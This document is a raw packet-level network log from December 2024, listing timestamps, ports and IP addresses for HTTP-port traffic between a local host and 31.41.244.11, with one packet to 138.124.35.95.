Dec 16, 2024 17:02:23.398497105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.399080992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.399142981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.399260044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.399301052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.399624109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.399640083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.399667978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.399692059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400023937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400069952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400196075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400213003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400238991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400259018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400355101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400401115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400873899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400891066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400906086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.400923967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.400937080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.401227951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.401278019 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.401734114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.401778936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.401951075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.401966095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.401997089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.402009010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.402281046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.402338028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.402605057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.402650118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569351912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569412947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569428921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569443941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569466114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569466114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569762945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569874048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569912910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569930077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.569956064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.569973946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.570225954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.570276976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.570460081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.570508957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.570693970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.570739031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.570739985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.570756912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.570797920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.570828915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571193933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.571244001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571360111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.571376085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.571403027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571413994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571620941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.571667910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571810961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.571858883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.571943998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572000980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.572098017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572113037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572153091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.572171926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.572673082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572720051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.572851896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572866917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.572900057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.572911978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.573153019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.573196888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.573509932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.573555946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.573659897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.573684931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.573734045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.573745966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.573962927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.574007988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.574424982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.574470997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.574547052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.574563026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.574590921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.574629068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.574882030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.574927092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.575294018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.575351954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.575459003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.575474024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.575505972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.575525045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.575830936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.575887918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.576314926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.576361895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.576397896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.576412916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.576451063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.576462984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.576689005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.576730967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.577055931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.577101946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.577186108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.577200890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.577228069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.577258110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.577539921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.577583075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.577955961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578001022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.578094959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578109980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578161955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.578226089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.578413010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578460932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.578840017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578885078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.578962088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.578977108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.579014063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.579027891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.579340935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.579391956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.579732895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.579783916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.579870939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.579886913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.579919100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.579932928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.580224991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.580274105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.580640078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.580688953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.580724955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.580740929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.580769062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.580784082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.581080914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.581125021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.581551075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.581599951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.581631899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.581646919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.581690073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.581701994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.581991911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.582039118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.582401037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.582444906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.582622051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.582638025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.582669020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.582680941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.582916021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.582959890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.583298922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.583353043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.583501101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.583515882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.583551884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.583563089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.583802938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.583849907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.584224939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.584269047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.584419966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.584434986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.584467888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.584480047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.584719896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.584763050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.585175991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.585222960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.585305929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.585321903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.585354090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.585367918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.585608006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.585652113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.586040974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.586085081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.586149931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.586164951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.586193085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.586205959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.586450100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.586494923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.586918116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.586963892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587097883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587111950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587141991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587156057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587384939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587431908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587781906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587827921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587933064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587949038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.587975025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.587989092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.588283062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.588327885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.588701010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.588745117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.588912964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.588928938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.588959932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.588973999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.589150906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.589195967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.589621067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.589667082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.589745998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.589761019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.589792967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.589813948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.590121984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.590172052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.590471029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.590517044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.590588093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.590632915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.590770006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.590785027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.590817928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.590836048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.591355085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.591402054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.591470003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.591485977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.591515064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.591528893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.591811895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.591856956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.661375999 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.760935068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.760986090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.761111975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.761130095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.761157036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.761176109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.761430979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.761481047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.761662960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.761679888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.761733055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.761770010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.762147903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.762193918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.762202978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.762237072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.762401104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.762415886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.762430906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.762448072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.762459040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.762480021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.763001919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.763068914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.763183117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.763200045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.763235092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.763261080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.763700008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.763758898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.763906956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.763961077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764077902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764094114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764132023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764144897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764406919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764456034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764620066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764676094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764720917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764735937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.764770985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764782906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.764997959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.765049934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.765373945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.765425920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.765492916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.765507936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.765536070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.765556097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.765866995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.765908003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.766261101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.766307116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.766393900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.766411066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.766442060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.766453981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.766750097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.766794920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.767157078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.767205000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.767302036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.767324924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.767350912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.767364025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.767647028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.767693996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.768042088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.768084049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.768178940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.768194914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.768218040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.768240929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.768518925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.768569946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.768999100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.769040108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.769197941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.769215107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.769248962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.769263029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.769562006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.769614935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.769975901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.770041943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.770097971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.770113945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.770148993 CET	49712	80	192.168.2.8	31.41.244.11
